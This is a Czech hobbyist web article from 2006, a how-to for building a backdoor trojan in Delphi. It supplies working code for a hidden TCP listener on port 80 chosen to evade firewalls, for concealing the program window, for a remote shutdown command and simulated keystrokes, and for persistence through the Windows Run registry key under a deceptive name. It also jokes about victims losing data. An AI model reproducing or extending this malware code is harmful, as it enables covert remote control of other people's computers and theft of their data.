Zpět na seznam článků     Číst komentáře (21)     Verze pro tisk

Trojské koně

Autor: Edie   
13.7.2006

Chcete si vytvorit vlastniho trojskeho kone a nevite jak zacit ?


Trojsky kun ma vyuziti pro tzv. backdoory nebo zlodeje. Pokud je vyuzivame jako backdoor (v prekladu „zadni vratka“), dokaze trojan plnit nase pozadavky, pricemz muzeme sedet prave na druhé strane zemekoule. Typickým pozadavkem muze byt napriklad povel: vymaz soubor, vypni pocitac, vypni klavesnici. Je pak k popukani, kdyz se naprosto novy pocitac postizeneho uzivatele sám od sebe vypina, mizi z něj data atd. Trojany se daji vyuzit take jako zlodeje. Proste jim predem, pri jejich zrodu reknem, co konkretniho maji z pocitace odcizit a zaslat na urcitou e-mailovou adresu.

Tvorba Trojskeho kone


Tento navod je urcen spise pro klasicke uzivatele nez pro programatory, ponevadz ti uz zajiste vedi jak vytvorit jednoche spojeni mezi klientem a serverem a tvorba neceho takoveho jako je trojsky kun pro ne neni nicim slozitym.
Nejdrive musite umet (dobre) pracovat v nejakem programovacim jazyku, osobne bych doporucil Delphi, protoze v nem budou uvedeny prikady k nasledujicimu clanku. A nyni uz muzeme zacit:
Princip vytvoreni zadnich dvirek je velice jednoduchy. Vyberte komponentu idTCPServer ze zalozky IndyServer a umistete na formular. Najedte na vlastnosti komponenty a nastavte active na true port nastavte libovolny ale pozor na firewall nejlepsi je proto vyuzit casto pouzivany port napr. http, 80. Meli bychom nasi aplikaci take skryt, tak aby se zobrazila pouze v procesech. Klepnete na zalozku Project a view source code a napiste pred Application.initialize : Application.ShowMainForm := False; (pokud jste prohlizeli tento web, tak je to zde nekde uvedeno) Ted jiz k samotne funkcnosti backdooru. Po spusteni na cilovem pocitaci se spusti sluzba ktera nasloucha na vami zadanem portu, ke kteremu se muzeme prpojit pomoci TELNETu z NTRK nebo pomoci netcatu ktery je volne ke stazeni na netu. Oba maji synaxe ve stylu:

C:\>telnet 192.168.1.23 80

Jak jste jiz urcite pochopili nejdriv napisete IP adresu a potom port na ktery se pripojujete. Dale musime zapsat neco do obsluhy udalosti jinak nam nas trojan nebude reagovat na zadne prikazy a nahlasi chybu. Proto znovu otevreme nas program a do udalosti OnExecute komponenty idTCPServer vepiseme text na ktery ma reagovat:

var
command :string;
begin
command := Athread.connection.readln();
if command = 'logout' then ExitWindows(100,0);
end;


Myslim ze jste vsichni hned uhodli co tento kod zpusobuje na cilovem PC. Athread.connection urcuje jakekoliv sitove pripojeni. Pokud byste chteli aby vas trjon reagoval pouze na vas musite v udalosti OnConnect ulozit kazde pripojeni do pole TidPeerThread a potom priradit kazdemu Threadu login. Nebo dalsi moznosti je ve vlastnostech TCPServeru nastavit pouze 1 pripojeni ktere se musi zalogovat pod predem definovanym jmenem a heslem. Je jasne ze dale do kodu muzete pridavat velke mnozsti udalosti, zajimava je prace s registry, doporucuji prozkoumat vse o registrech. Velmi pekne je napsiklad generovani stisku klaves, ci pohyb mysi. Pro tyto prikazy exituji velmi jednoduche funkce z knihovny Windows. Pro generovani stisku klaves pouzijeme funkci keybd_event, pr:

Keybd_Event(65, MapVirtualKey(65, 0), 0 ,0);// generuje stisk klavesy 'a'
Keybd_Event(65, MapVirtualKey(65, 0), KEYEVENTF_KEYUP ,0);// uvolni klavesu 'a'


Dokonceni


Vas trojan by se samozrejme mel spoustet automaticky po startu pocitace. Toho muzete docilit dvema zpusoby:
1.Tim ze trojan nakopirujeme do slozky : C:\Documents and Settings\All Users\Nabídka Start\Programy\Po spuštění, pokud mate NT
2.Podle me mnohem lepsi zpusob. Pridani souboru do registru po spusteni:

var
   klic: string;
   registr : Treginifile; // novy registr
begin
   klic := '\Software\Microsoft\Windows\CurrentVersion\Run'; // nastavi cestu registru do Po Spusteni
   registr := Treginifile.Create; // vytvarime registr
   registr.rootkey := HKEY_LOCAL_MACHINE; // nastaveni cesty pro vsechny uzivatele pocitace
   registr.createkey(klic); //vytvoreni klice s cestou do Po spusteni
   if registr.openkey(klic, False) then registr.writestring(klic, '{Zde prijde jmeno registru nejlepe nejake nenapadne aby uzivatel hned neprisel na to kde nas program je. (pr. jmeno pravidelne spousteneho syst. souboru)}', '{cesta k nasemu souboru}');
   registr.free;
end;

Zaverem...


Kombinaci s jinymi komponenetami z IndyClient napr. pro FTP, SMTP lze vytvorit velmi dumyslny Trojan. Omlouvam se vsem co clanek nepochopili a take vsem pro ktere byl ztratou casu. A omluvte provopisne chyby, psal se to ve spechu

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 2.07/30

1  2  3  4  5    
(známkování jako ve škole)